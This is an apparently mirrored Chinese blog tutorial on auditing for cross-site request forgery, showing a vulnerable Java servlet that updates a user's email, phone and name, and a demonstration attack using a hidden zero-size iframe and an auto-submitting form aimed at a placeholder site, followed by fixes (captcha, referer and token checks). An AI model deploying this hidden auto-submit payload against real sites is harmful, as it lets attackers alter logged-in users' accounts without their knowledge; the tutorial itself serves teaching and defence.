zoukankan      html  css  js  c++  java
  • php代码审计7审计csrf漏洞

    跨站请求伪造,也有人写出xsrf,黑客伪造用户的http请求,然后将http请求发送给存在csrf的网站,网站执行了伪造的http请求,就引发了跨站请求伪造


    漏洞危害:攻击者盗用了你的身份信息,以你的名义发送恶意请求,如发送邮件,消息,盗取你的账号,甚至购买物品,虚拟货币转账等


    漏洞本质:攻击者获取到重要参数,成功构造一个伪造请求,如http://www.xx.xx/xx.php?xx=xx&&id=1


    挖掘思路:管理后台,会员中心,添加用户等,被引用的核心文件里面有没有验证token和referer相关的代码,没带token可以直接请求这个页面,没带referer则返回相同的数据


    代码:
    HttpServletRequest request, HttpServletResponse response)
    {
        int userid=Integer.valueOf( request.getSession().getAttribute("userid").toString());
        String email=request.getParameter("email");
        String tel=request.getParameter("tel");
        String realname=request.getParameter("realname");
        Object[] params = new Object[4];
        params[0] = email;
        params[1] = tel;
        params[2] = realname;
        params[3] = userid;
        final String sql = "update user set email=?,tel=?,realname=? where userid=?";
        conn.execUpdate(sql,params);
    }

    代码中接收用户提交的参数“email,tel,realname”,之后修改了该用户的数据,一旦接收到一个用户发来的请求,就执行修改操作。提交表单代码:

    <form action="http://localhost/servlet/modify" method="POST">
        <input name="email">
        <input name="tel">
        <input name="realname">
        <input name="userid">
        <input type="submit">
    </form>
    当用户点提交时,就会触发修改操作,如果“代码示例”中的代码,是xxxx.com上的一个web应用,那么恶意用户为了攻击xxxx.com的登录用户,可以构造2个HTML页面。

    页面a.htm中,iframe一下b.htm,把宽和高都设为0。

    <iframe src="b.htm" width="0" height="0"></frame> 这是为了当攻击发生时,受害用户看不到提交成功结果页面。
    页面b.htm中,有一个表单,和一段脚本,脚本的作用是,当页面加载时,自动提交这个表单
    <form id="modify" action="http://xxxx.com/servlet/modify" method="POST">
        <input name="email">
        <input name="tel">
        <input name="realname">
        <input name="userid">
        <input type="submit">
    </form>

    <script>
        document.getElementById("modify").submit();
    </script>
    攻击者只要把页面a.htm放在自己的web服务器上,并发送给登录用户即可。
    用户打开a.htm后,会自动提交表单,发送给xxxx.com下的那个存在CSRF漏洞的web应用,所以用户的信息,就被迫修改了。


    修复方案:验证码,添加referer验证,添加token验证

  • 相关阅读:
    CloudStack 实现VM高可用特性
    cloudstack基础知识
    cloudstack4.5私有云集群规划与安装
    小心了,这个设置会导致你的vm重启时被强制重装系统!
    CloudStack名词解释
    javatoexe之exe4j和innosetup打包jar
    oracle之partition by与group by的区别
    Android中传递对象的三种方法
    设计模式之mvp设计模式
    正则表达式之环视(lookaround)
  • 原文地址:https://www.cnblogs.com/Hydraxx/p/10356111.html
Copyright © 2011-2022 走看看